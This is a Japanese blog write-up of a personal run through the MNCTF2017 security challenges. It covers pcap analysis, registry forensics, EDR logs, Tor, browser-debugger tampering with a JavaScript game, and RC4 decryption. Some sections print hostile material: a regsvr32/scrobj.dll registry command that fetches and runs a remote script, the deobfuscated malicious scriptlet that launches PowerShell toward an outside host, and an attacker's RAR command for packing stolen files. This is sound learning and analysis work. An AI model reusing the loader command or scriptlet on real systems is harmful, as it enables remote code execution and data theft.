好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

MNCTF2017を後追いでやってみた

先月MNCTFの存在を知り、2018年の問題を後追いでやってみたところ、とても勉強になったのと、過去問が全部公開されているということだったので、今度は2017年の問題を今更ながらやってみました。

f:id:kusuwada:20180812033613p:plain

2018年をやったときの記事はこちら。MNCTFの概要とか書いていました。

kusuwada.hatenablog.com

MNCTF

練習問題 ☆☆☆ MISC 1

問題

「MNCTF」がフラグとなります。

解答

MNCTF

一瞬どこに回答するか分からなかったけど、問題ページのトップに解答欄があった。
全部の問題の回答をここに投げるらしい。練習問題あってよかった。

昇進試験 ☆☆★ MISC 60

問題

情シス担当のてしがわら君はにしどの部長から、新聞に載っているクロスワードを渡されました。Linuxのコマンドのクロスワードを解いてください。 
[クロスワード](http://mnctf.info/mnctf2017/task/cross/)

クロスワード、のところがリンクになっていて、リンク先にクロスワードがあります。

f:id:kusuwada:20180806001736p:plain

解答

ヨコのカギ

2

# ***** 666 user-password.csv

これは chmod

4

# ****** 8
8: 2 2 2
# ****** 34
34: 2 17
# ****** 11
11:11

素因数分解するコマンドかな。 factor

7

# ******
 02:52:56 up 16:24, 2 users, load average: 0.45, 0.37, 0.39

知らなかった。load average でググったら出てきた。 uptime

タテのカギ

1

# ******
systemd┬ModemManager┬{gbus}
       │            └{gmain}
       ├NetworkManager┬2*[dhclient]
       │              ├{NetworkManager}
・・・

あれ、 tree じゃないの?(6文字)
よく見てみると、ディレクトリやファイルじゃなくてプロセスっぽい名前が。
プロセスのtree表示コマンドというのがあるらしい。 pstree

2

# *** -3 -d 2020-07 -H 2020-07-24
カレンダーっぽいの

カレンダー表示するコマンド cal

3

# **** user-password1.csv user-password2.csv
4c4
< kenzo,ru5514
---
> kenzo,APThunter

その前のcatコマンドで両ファイルが出力されており、その差分が表示されているので diff

5

# cat user-password.csv | ****** -s ',' -t
name        password
teshigawara iloveseio
yamazaki    metalordie
...

これは知らなかった。入力を表形式に変換するコマンドがあるらしい。column

6

# *** 02:40:55 up 16:12, 2 users, load average: 0.20, 0.52, 0.46cu
~中略~
PID     USER    PR  NI  VIRT    RES     SHR     S   %CPU    MEM TIME+   COMMAND
5626    root    20  0   25692   2940    2440    R   0,3     0.1 0:00.03 *** 

これはよく使うやつ。top

全部埋めると、ひっそりと上の方にflagが出現。

通信記録 ☆☆★ NETWORK 80

問題

株式会社マクニキで基幹サーバが乗っ取られるという事件が発生しました。情シス担当のてしがわら君は侵入されたサーバのパケットキャプチャを見ていました。脆弱性を突かれて侵入されたようです。
パケットキャプチャを解析し、突かれた脆弱性の名前を答えてください。

パケットキャプチャがダウンロードできる。デカイ。

解答

ざーーっと眺めてみるが、なにせ大きすぎてどこを見たらよいかわからない・・・。
きっとなにかツールが有るはず、と早々に諦めてツール探しの旅に。

www.virustotal.com

なんと、こちらのサイトでパケットキャプチャファイルを突っ込むと解析してくれるらしい。1年前の問題なので、きっとDB的には何かしら引っかかるに違いない。

投げてみると、こんな結果。

f:id:kusuwada:20180811185758p:plain

Win32:WannaCry-C [Tri] というのが検出された。問題は、

突かれた脆弱性の名前を答えてください

とのことだが、WannaCryはマルウェア名。WannaCryの利用する脆弱性を調べると

FireEye:WannaCryマルウェアのプロファイル

このマルウェアは、Shadow Brokersにより2017年4月14日にリリースされたエクスプロイト (コードネーム「EternalBlue」) を利用します。

ということで、 EternalBlue を入れてみると正解!
EternalBlueって超絶かっこいい。。。

不審起動☆★★ MALWARE 80

問題

情シスのてしがわら君の端末から不審なレジストリが見つかりました。このレジストリにより、不審なスクリプトが実行されるそうだが、そのスクリプトの通信先のFQDNを答えてください。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"COM"="regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll"

解答

問題文にあるURLにアクセスしてみる。

https://pastebin.com/raw/8CUEUgix

すると、難読化された js ファイルが出てくる。

javascript 難読化 解読、とかでググると、下記のようなサイトでオンライン解読できることがわかる。

Online JavaScript beautifier

Javascript Viewer, Beautifier and Formatter, Editor

DirtyMarkup Formatter - HTML, CSS, & JavaScript Beautifier

いやぁ、クライアント開発時に難読化してるかチェック項目も受けてたりするけど、こんなにカジュアルに解読できちゃうのね・・・。少なくともセキュリティ項目としてはあまり効果がないのかもしれない。

今回は1つ目のサイトを使って解読してみました。

<?XML version="1.0"?>
    <scriptlet>
        <registration progid="CLASS" classid="{F3011114-0000-0000-0000-4030F1ED1CDB}">
            <script language="JScript">
                < ![CDATA[
~~ 中略 ~~

                    function is_ps_installed() {
                        pspath = wshel[_0xd5bd('0x17')](_0xd5bd('0x18'));
                        if (fso[_0xd5bd('0x19')](pspath)) {
                            return pspath;
                        } else {
                            pspath = wshel[_0xd5bd('0x17')](_0xd5bd('0x1a'));
                            if (fso[_0xd5bd('0x19')](pspath)) {
                                return pspath;
                            }
                        }
                        return null;
                    }
                    try {
                        var i = 0x258;
                        alert(i['\x74\x6f\x50\x72\x65\x63\x69\x73\x69\x6f\x6e'](0x1f40));
                    } catch (_0x801862) {
                        try {
                            url = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x74\x69\x70\x2e\x6d\x61\x63\x6e\x69\x63\x61\x2e\x6e\x65\x74';
                            showexec = 0x0;
                            wshel = new ActiveXObject(_0xd5bd('0x1b'));
                            fso = new ActiveXObject(_0xd5bd('0x1c'));
                            if (is_ps_installed() && is_dotnet_installed()) {
                                wmi_create_process(pspath + _0xd5bd('0x1d') + url + '\x2f\x70\x31\x27\x29\x29', showexec);
                            }
                        } catch (_0x5babc9) {}
                    }
                ]] >
            </script>
        </registration>
    </scriptlet>

最後の方に、

url = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x74\x69\x70\x2e\x6d\x61\x63\x6e\x69\x63\x61\x2e\x6e\x65\x74';

とurlっぽい変数を見つけたので、これをhex⇒文字列にdecode。
これもオンラインサービスでdecodeしました。

文字コード変換 WEBアプリケーション、フリーCGI配布 ---ahref.org

変換すると下記の文字列が。

https://mtip.macnica.net

ということで、このFQDN部分を回答すればOK。

脅迫文書 ☆☆★ MISC

問題

脅迫文書☆☆★
MISC 90

株式会社マクニキの外部向けのCSIRTチームのメーリングリストに脅迫文のようなメールが届きました。CSIRT唯一のメンバーであるてしがわら君は社長のいけだ君に相談すべきか、悩んでいます。

We had stolen all of your accounts of the Makuniki server and we will publish it.
The only way to stop us, is to pay 1.00 BTC to 19cMxCa81RD9D6s5xTmELaXzM6xgy5hcSf.
We uploaded a partial data to proof what we have.

攻撃者の言っていることが本当か、調査してください。

と、写真。

f:id:kusuwada:20180806001742j:plain

てしがわら君、唯一のCSIRTメンバーなんや。。。頑張れ・・・!

解答

とりあえず、メモにあるURLに手に入れた情報の一部をアップしているそうなので、確認しにアクセスを試みる。

http://nzxj65x32vh2fkhk.onion/phcgnxm6j/4xvucf

おお、.onion アドレスだ!
下記、「スプラウト公式非公認ブログ ピンク・ハッカー」をワクワクしながら読んだものの、勇気がなくてまだ一度も接続したことがなかったのでした・・・。
そして思い出すhagexさん・・・。めっちゃ楽しみにしてたけど、もうこのブログも更新されないのかなぁ。

www.pinkhacker.com

ということで、早速 Tor Browser を下記サイトからDL。

Tor Browser

そう言えばちょうど一年前頃、全然別の目的で「IPアドレスを自由に変えてリクエストを投げられないか」と新人さんと話していたら、このTorを入れて社内で使おうとして、社内のセキュリティ部の人が飛んで来たというオモヒデがある・・・。

Tor Browserを立ち上げて、上記サイトにアクセスするとこんなのが表示された。

f:id:kusuwada:20180806001751p:plain

パスワードを求められたので、紙切れの下の方に書いてあった文字列を入れてみる。
と、入れた。こんなページが表示された。答えもここに書いてありました。

f:id:kusuwada:20180806001759p:plain

Torって知ってる?っていう趣旨の問題だったのかな。
ちなみに、解説では onion.to にしてアクセスすると通常のブラウザからでもアクセスできるとあったので後でChromeでやってみたが、時間がめちゃくちゃかかったので中断。本当にアクセスできるかは見届けられなかった・・・。

攻撃痕跡☆☆★ FORENSICS 100

問題

株式会社マクニキでマルウェア感染事件が発生しました。導入したてのEDR(Endpoint Detection & Response、エンドポイント対策)ツールのログおよび、感染端末から押収した攻撃者が残したと思われるファイルがあります。迅速に対応したため、被害はないと情シスのこばやし君は思ったが、これらを解析し、盗まれたファイルの中で最も重要と思われるファイルの名前(拡張子なし)を答えてください。
・EDRのログファイル
・攻撃者が残したファイル(パスワードは「infected」)

盗まれたファイルの中で最も重要と思われるファイルの名前

ふわっとした依頼だが、答えが出てくるんだろうか?

解答

攻撃者が残したファイル(artifact.zip)とログファイル(EDR_LOG.csv)を開いてみる。
artifact.zipの中身はこんな感じ。

$ file artifact/*
Get-PassHashes.ps1:  ASCII text, with very long lines
GoogleUpdate.ba_:    DOS batch file text, ASCII text, with CRLF line terminators
GoogleUpdate.ex_:    PE32 executable (console) Intel 80386, for MS Windows
Update.dat:          data
jvm.dat:             RAR archive data, flags: EncryptedBlockHeader
jvm.dll:             PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
networkprotocol.nls: data
sam.hive:            MS Windows registry file, NT/2000 or above
sqlite.ex_:          PE32 executable (console) Intel 80386, for MS Windows
system.hive:         MS Windows registry file, NT/2000 or above
vcredist.ex_:        PE32+ executable (console) x86-64, for MS Windows

実行ファイルは色々対策で拡張子の末尾がアンスコに変えてあるのかしら?
ログファイル(CSV)のほうは3.8MBもある。大きい。ログファイルのフォーマットは、

Time(UTC), HostName, UserName, Parent PID, PID, CommandLine, MD5

となっている。

jvm.dat は上述の通りRARファイルらしいので、とりあえず解凍してみる。解凍できるものはとりあえず解凍!RARファイルをMacで解凍するために、unrarをインストールしておく。

Mac で RAR 拡張子のファイルをコマンドラインから解凍する - unrar

$ unrar e jvm.dat 

UNRAR 5.60 freeware      Copyright (c) 1993-2018 Alexander Roshal

Enter password (will not be echoed) for jvm.dat: 

Checksum error in the encrypted file jvm.dat. Corrupt file or wrong password.
No files to extract

のぉぉん、パスワードが必要なのね。でも一気にこのファイルアヤシイ感。

とりあえずとっかかりがわからないので、ログを確認。上から読んでいってもしょうがない量なので、まずは jvm.dat で検索してみる。

"C:\Program Files (x86)\¥Tencent\¥RTXC\Plugins\bizmailclient\sqlite.exe"  a -m5 -hpFnckyou123 "C:\Program Files (x86)\¥Java¥\jre7\¥bin¥\client¥\jvm.dat" c:¥users¥Administrator¥Desktop¥*.xlsx
"C:\Program Files (x86)\¥Tencent\¥RTXC\Plugins\¥bizmailclient¥\sqlite.exe"  a -m5 -hpFnckyou123 "C:\¥Program Files (x86)¥\Java¥\jre7¥\bin¥\client¥\jvm.dat" c:¥windows¥temp¥*.log 

というログがあった。sqlite.exejvm.dat も配布されてたファイルだ。・・・割とありそうな名前なので、今回は付されたのと同じやつのことかはわからないけど。
なんかパスワードっぽいので hpFnckyou123 を入れてRAR解凍を試みるも違うらしい。 -hpFnckyou123pFnckyou123 も違うらしい・・・。詰んだ・・・。

ここで他の方のwrite-upを見てみる。
いろんなたどり着き方があるんだなぁと楽しく読んでいると、こんな解説を発見。

このコマンドラインを見ると -hp オプションの後に続けて何やら良からぬ文字列が続いています。 これは RAR の Hidden Password を付けるコマンドオプションだと気づけば、以下の点が判明するはずです。

MNCTF2017 WriteUp より

おお。全く知らなかったよ。
ちなみに公式ページで確認したら、すごい階層深いところにあった。。。

WinRAR manual > Command line mode > Switches > "-hp[pwd]"

2文字分がoptionで、しかもスペース無しで値が来るとは思っても見なかった。ので、パスワードは Fnckyou123。これで vm.dat を解凍すると

2017want.xlsx:       Microsoft Excel 2007+
MpCmdRun.log:        Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
MpSigStub.log:       Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
serverpassword.xlsx: Microsoft Excel 2007+

4つファイルが出てきた。それぞれ中身を確認すると、

  • 2017want.xlsx: なんかほしい物リストっぽい
  • MpCmdRun.log: ログファイル。特に重要そうな情報なし
  • MpSigStub.log: 同上
  • serverpassword.xlsx: タイトルからしてヤバそう。host, user, passwordのセットが12個ほど。

ということで、serverpassword を入れてみると、正解。

先程のwrite-up中に

なお、情報流出事案においては、攻撃者はファイル圧縮ツールとして RAR を多用することが知られているので、そこを考慮しつつ、アプローチを検討します。

とあった。これも知らんかった。そもそも普段の仕事・開発でRARに触れることが皆無。Windows使ってときは時々ゲームファイルとかRAR形式で置いてあった記憶。
RARコマンドはもう少し慣れておいたほうがセキュリティ周りでは良いのかもしれない。

賭博遊戯☆★★ WEB 100

問題

株式会社マクニキは多角経営の道を進むべく、カジノゲームの開発に着手していた。開発者も兼任していたてしがわら君は脆弱性に気づきつつも、強固な難読化を施し、脆弱性を隠ぺいしました。
難読化を解かずに、「所持金」が37337になるようにしてください。
※表示上なっても正解とはなりません。
[ShinoCasino](http://mnctf.info/mnctf2017/task/shinocasino_ob2.html)

解答

リンクのサイトに飛ぶと、

持ち金:100 BTC 第1ゲーム
サイコロの出目を当ててください。

という文章と、予想(選択式)、掛け金(選択式)のセレクトフィールドと、BETボタンが。

f:id:kusuwada:20180808142539p:plain

一旦遊んでみる。

f:id:kusuwada:20180808142531p:plain

こんな感じで、外れたら掛け金分引かれ、当たれば掛け金×5 がもらえるようです。
「勝て」とか「所持金を〇〇以上にせよ」ではないので、このまま遊び続けても条件を満たせる日は永遠に来ないでしょう・・・。

ということで、まずはソースを見てみます。難読化されているらしいけど。
Chromeだと、「表示 > 開発 / 管理 > ソースを表示」で出てきます。

<html>
<head>
<title>ShinoCasino</title>
<script>

var diceArray=[];
var _0xcddf=['\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x28\x29\x20','\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x29','\x69\x74\x65\x6d','\x61\x74\x74\x72\x69\x62\x75\x74\x65','\x65\x76\x61\x6c','\x77\x68\x69\x6c\x65\x28\x74\x72\x75\x65\x29\x7b\x7d','\x5b\x4c\x43\x50\x55\x5a\x77\x6c\x41\x52\x70\x72\x4f\x61\x59\x6b\x61\x58\x7a\x4c\x6b\x4f\x49\x61\x64\x4b\x54\x5d','\x6d\x4c\x43\x50\x6e\x55\x5a\x63\x77\x6c\x41\x52\x70\x72\x74\x66\x2e\x4f\x61\x59\x6b\x61\x69\x58\x7a\x4c\x6b\x6e\x66\x6f\x4f\x49\x61\x64\x4b\x54','\x73\x70\x6c\x69\x74','\x66\x6f\x72\x45\x61\x63\x68','\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72','\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73','\x66\x46\x67','\x6c\x65\x6e\x67\x74\x68','\x51\x48\x6d','\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74','\x4a\x7a\x43','\x7a\x54\x73','\x6a\x54\x57','\x61\x43\x68','\x31\x7c\x34\x7c\x33\x7c\x32\x7c\x30','\x69\x6e\x64\x65\x78\x4f\x66','\x6c\x45\x66','\x76\x4e\x72','\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x20','\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x20\x29','\x54\x4f\x57','\x63\x6f\x6e\x73\x6f\x6c\x65','\x77\x61\x72\x6e','\x64\x65\x62\x75\x67','\x65\x72\x72\x6f\x72','\x74\x72\x61\x63\x65','\x69\x6e\x66\x6f','\x65\x78\x63\x65\x70\x74\x69\x6f\x6e','\x6c\x6f\x67','\x6d\x48\x6c','\x64\x65\x62\x75\x67\x67\x65\x72','\x75\x49\x50','\x5a\x75\x53','\x61\x70\x70\x6c\x79','\x49\x44\x79'];(function(_0x538a27,_0x2e540c){var _0x3116fb=function(_0x3f3a6c){while(--_0x3f3a6c){_0x538a27['\x70\x75\x73\x68'](_0x538a27['\x73\x68\x69\x66\x74']());}};var _0x4c271d=function(){var _0x556e1e={'\x64\x61\x74\x61':{'\x6b\x65\x79':'\x63\x6f\x6f\x6b\x69\x65','\x76\x61\x6c\x75\x65':'\x74\x69\x6d\x65\x6f\x75\x74'},'\x73\x65\x74\x43\x6f\x6f\x6b\x69\x65':function(_0x4b5a90,_0x1b1247,_0x1c6d85,_0x282c97){_0x282c97=_0x282c97||{};var _0x577fc8=_0x1b1247+'\x3d'+_0x1c6d85;var _0x33b6f7=0x0;for(var _0x33b6f7=0x0,_0x4fcedb=_0x4b5a90['\x6c\x65\x6e\x67\x74\x68'];_0x33b6f7<_0x4fcedb;_0x33b6f7++){var _0x57027c=_0x4b5a90[_0x33b6f7];_0x577fc8+='\x3b\x20'+_0x57027c;var _0xd66837=_0x4b5a90[_0x57027c];_0x4b5a90['\x70\x75\x73\x68'](_0xd66837);_0x4fcedb=_0x4b5a90['\x6c\x65\x6e\x67\x74\x68'];if(_0xd66837!==!![])
...

ってな感じで、見事に難読化されたページが表示されました。
これを「難読化を解かずに」所持金を操作しないといけないんですね。

まずは、自分の持ち金をどこで管理しているのか探しました。クライアント上で管理されているならば、CookieやLocalCash, Sessionなんかにあるんじゃないかなーと。
Chromeだと、「表示 > 開発 / 管理 > デベロッパーツール > Application」の Storage、DB系を確認。
しかし特にLocalで持っていそうな情報は見当たらず。

そもそもページを更新するとまた1からになるので、SessionやDBなどは使っていないかな。

次に、開発者ツールのデバッグ機能を確認。「デベロッパーツール > Sources」
下記のように、debugポイントがたくさんはられているのか、ステップごとにdebuggerに飛ばされてなかなか解析までたどり着かない・・・。ので、右上の "Step over next function call" (もしくは f10 + fn)を連打して次が出るのを待つ。

f:id:kusuwada:20180808142535p:plain

ソースコードが出てきたら、topの方に var diceArray=[]; という変数があり、そのlocal値をマウスオンすると参照できる。こんな感じ。

f:id:kusuwada:20180808142512p:plain

これで、この回のサイコロの出目がわかる。この出目を参考にやってみたら、勝ち続けることはできた。

f:id:kusuwada:20180808142527p:plain

ただ、37337 に近づくにはこんなちまちました掛け金では何回やったら良いのよ!状態。根性でできなくはなさそうだけど。diceが100しか用意されていないということは、100回で終わりなのかな?また0に戻ってくる可能性もあるけど。
他の変数配列の中に、「これでゲームは終わりです」的な文言も見えたので、終わるのかなぁ。

もうこれは所持金を直接操作するしか無い、ということで、Storageを使っていないならプログラムに変数で現在の所持金を持っているだろうと当たりをつける。
先程のデバッグ機能で、local変数を表示させてバーっとみていくと、あった!現在の所持金を保持しているらしき変数 money を発見。

f:id:kusuwada:20180808142522p:plain

つぎにBetして負けた時に、ちょうど 37337 になるように値を設定して、あとは負ける目を選んで、BET! すると、フラグが出てきました!

f:id:kusuwada:20180808142516p:plain

宛先暗号☆★★ CRYPTO 100

問題

株式会社マクニキのある端末で不審な実行ファイルが検出されました。外部と通信するようなのですが、通信先は記録されていません。てしがわら君はその痕跡のファイルを入手したので、ブロックするためにマルウェアの通信先のFQDNを特定してください。
ファイルをダウンロード
svchost.exe(マルウェア本体)
vm.dat(マルウェアと同じディレクトリにあったファイル)
EDR_log.csv(エンドポイント対策のログ)

ヒント)svchost.exeは単体では動作しないようで、vm.datファイルが必要のようです。

解答

問題文にある3つのファイルがDLしたzipに入っている。
出題範囲がCryptoなので、何かしら暗号関連の問題のようだ。

まずはlogを確認してみる。

Time (UTC)   Host Name   User Name   File Name   PID Command Line    MD5 Parent PID
06/29/2017 09:57:03.316 TESHIGA-PC  LOCAL SYSTEM    googleupdate.exe    372 "C:¥Program Files¥Google¥Update¥GoogleUpdate.exe" /svc  dd7423abbe2913e70d50e9318ad57ee4    644
06/29/2017 09:56:46.266 TESHIGA-PC  LOCAL SYSTEM    googleupdate.exe    5652    "C:¥Program Files¥Google¥Update¥GoogleUpdate.exe" /ua /installsource scheduler  dd7423abbe2913e70d50e9318ad57ee4    5228
06/29/2017 09:56:46.034 TESHIGA-PC  LOCAL SYSTEM    taskeng.exe 5228    taskeng.exe {88BFCD29-2446-404F-B951-2F944CE1CCCB} S-1-5-18:NT AUTHORITY¥System:Service:   4f2659160afcca990305816946f69407    1156
06/29/2017 09:46:43.304 TESHIGA-PC  tessy   imedictupdateui.exe 3748    "C:¥Program Files¥Common Files¥Microsoft Shared¥IME14¥SHARED¥imedictupdateui.exe" "check" 1ad7878f3029fb359c8b47ae3444d0d2    2908
・・・

こんな感じ。全部で870行ある。
File Name が svchost.exe のものをピックアップしてみると、User Nameが LOCAL SYSTEM, NETWORK SERVICE, tessy のものがあることがわかる。

問題文のヒント svchost.exeは単体では動作しないようで、vm.datファイルが必要のようです。 というのと、このログを突き合わせると、 tessy の実行したコマンドが、どうやらexeファイルを動作させるコマンドのようだ。
tessy = てしがわら君?

svchost.exe  abcd vm.dat

ここで、windowsならこのコマンド試してみて、wiresharkかなんかで通信見張っていれば取れる気がするなぁ。。。2018の問題もそういうの多かったよなぁ。。。
今回はlessで実行ファイルの中身見てもurlっぽい文字列無かったしなぁ。。。
なんて思っていたが、この際、夫のwindowsPCも動員してしまえ!と思いたち、やっと重い腰を上げて夫のノートPCを借りて使うことにした。
CTFってwindows環境(VM含め)必須なんだろうか?windows環境無しで戦ってる人っているのだろうか・・・?

ということで、winPCにWireSharkをいそいそとセットアップして、コマンドプロンプト立ち上げて上記のコマンドを打ってみる。

・・・
しーーーん・・・・
・・・
何も出てこないぞ?
人のPCだし、なんかFWかなんかに引っかかってるのかな?そもそも何か実行するための環境が足りてないのかな?WireShark側のセットアップが足りてない?
と色々可能性を考えたものの、winスキル+WireSharkスキルが低すぎて分からず・・・。
無念。

気を取り直して「vm.dat使わなかったらどうなるん?」と素直にコマンドプロンプト

svchost.exe

のみ実行してみる。すると

Must specify <RC4 key> <file>!

と怒られた。なんて親切!
ということは、key: abcd で file: vm.datRC4で暗号化されていると考えられる。
vm.datをRC4で復号してみる。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from Crypto.Cipher import ARC4

key = 'abcd'
with open('vm.dat', 'rb') as f:
    data = f.read()

cipher = ARC4.new(key)
dec = cipher.decrypt(data)
print(dec)

実行結果

$ python rc4_decode.py 
b'shinobot.com\n'

お、なんかめっちゃFQDNっぽいの出てきた!
こっちの解法のほうが Crypto っぽいし、結果オーライ!
しかし、今後に備えてWireSharkスキルを上げたい & WinPC側もセットアップしていきたい・・・。

情報照合☆★★ PROGRAMMING 100

問題

株式会社マクニキにて、マルウェアに感染している端末が見つかりました。契約したばかりのThreat Intelligence(脅威情報)サービス「MiNTEL」を活用することにしました。ファイルのハッシュ値を送るとマルウェア判定をしてくれるAPIベースのサービスなので、てしがわら君は感染端末にあるファイルのハッシュを取得し、APIを利用して、照合しようとしています。

てしがわら君の代わりにハッシュをAPIで照合し、「RAT.A.aa74e」と判定されるハッシュを見つけてください。
[ハッシュリスト](http://mnctf.info/mnctf2017/task/minhashlist.txt)
[MiNTEL API リファレンス(英語)](http://mnctf.info/mnctf2017/task/MiNTEL_API_Reference.pdf)
なお、API KEYは「578459***」です。

解答

問題文の「ハッシュリスト」のリンク先にはこのようなハッシュ値のリストが。

minhashlist.txt

dfa134b71ed7a89a4ac2f03325c096
82800319df0799b38d5eec4d915fc7
cbcb642557766fb8803ae7ce28e377
2169cdf2e557bbba139790bd1ddfa1
20aec25af4301a3816d9a4acba5c96
f63db975efe635c2b99a542759f649
5bd8da91f02b97e8448fe02f3b1efb
8e490b957ae9672963f1498180e26f
・・・

1000行あった。

MiNTEL API リファレンスの先には、MiNHASHの仕様書が落ちていた(PDF)。
どうやらHashの計算はオンラインのAPIで公開されているらしい。

ということで、ただただ仕様書を読んで、hashのlistの中から条件に合うhashを探すプログラムを書く。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import json

gt_url = 'http://157.7.53.197/intel/gettoken/'
qy_url = 'http://157.7.53.197/intel/query/'
api_key = '578459a***'

minhashlist = []

with open('minhashlist.txt', 'r') as f:
    for line in f:
        minhashlist.append(line.split('\n')[0])

### get token
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = 'key=' + api_key
res = requests.post(gt_url, headers=headers, data=payload).json()
token = res['token']
print(token)

### check minhash
headers['X-TOKEN'] = token

for h in minhashlist:
    print(h)
    payload = 'hash=' + h
    res = requests.post(qy_url, headers=headers, data=payload).json()
    if res['detection_name'] == 'RAT.A.aa74e':
        print('MATCHED!!! hash: ' + h)
        break 

んで回してみると、どーにもこーにもサーバーからの応答速度が遅い!!1判定に1秒くらいかかっている。
これではいかん、ということでマルチスレッド化することに。
※ 1スレッドでぶん回しても1000秒 = 20分かからない計算なので、マルチスレッド化するのと追加実装、どっちが早いか微妙なとこではある。

まずは、処理するファイルを予め分割しておく。今回は50行ごとに分割。

$ split -l 50 minhashlist.txt minhashlist.
$ ls
minhashlist.aa minhashlist.ae minhashlist.ai minhashlist.am minhashlist.aq
minhashlist.ab minhashlist.af minhashlist.aj minhashlist.an minhashlist.ar
minhashlist.ac minhashlist.ag minhashlist.ak minhashlist.ao minhashlist.as
minhashlist.ad minhashlist.ah minhashlist.al minhashlist.ap minhashlist.at
minhashlist.txt

minhashlist.aa ~ minhashlist.at までできた。
あとは上のコードをマルチスレッド化。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import json
import threading
import string

gt_url = 'http://157.7.53.197/intel/gettoken/'
qy_url = 'http://157.7.53.197/intel/query/'
api_key = '578459a***'
thread_num = 1000 // 50
alphabet = list(string.ascii_lowercase)

def check_minhash(file_name, token):
    ### read hash file
    minhashlist = []
    with open(file_name, 'r') as f:
        for line in f:
            minhashlist.append(line.split('\n')[0])
    ### check minhash
    headers['X-TOKEN'] = token
    for h in minhashlist:
        print(h)
        payload = 'hash=' + h
        res = requests.post(qy_url, headers=headers, data=payload).json()
        if res['detection_name'] == 'RAT.A.aa74e':
            print('MATCHED!!! hash: ' + h)
            break     

##########
## main ##
##########

### get token
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = 'key=' + api_key
res = requests.post(gt_url, headers=headers, data=payload).json()
token = res['token']
print(token)

### check_minhash with threads
threads = []
for t in range(thread_num):
    file_name = 'minhashlist.a' + alphabet[t]
    threads.append(threading.Thread(target=check_minhash, args=(file_name, token,)))
    threads[t].start()

男らしくエラー処理一切なし、決め打ち部分も多いけど、今回使えればOK!ということでこんな感じ。 実行してみると、5分かからずに出てきた!

MATCHED!!! hash: eef6b47cc2c1fbfbdbcb90f6376416

脆弱会話★★★ EXPLOIT 100

は、問題文を読むに苦手&あまり興味がないジャンルだったのでパス。

まとめ

感想

2018年と違って続き物がなかったので、途中で詰まっても他の問題に手がつけられるのが良かった。ただ、どの問題もそれなりに手応えがあったので、サクサク解ける感じでは無かった。
今の自分にちょうどよい難易度で、大変勉強になった。他の方のwrite-upももう少し読み込みたい。特に WireShark 使い倒して解いてるやつとか。

使えるオンラインサービスたち

  • 疑わしいファイルや URL を分析するオンラインサービス。パケットキャプチャファイルにも対応。

www.virustotal.com

  • JSやHTMLの整形・unpack・難読化解除のオンラインサービス

Online JavaScript beautifier

文字コード変換 WEBアプリケーション、フリーCGI配布 ---ahref.org

参考にさせていただいたwrite-upのリンク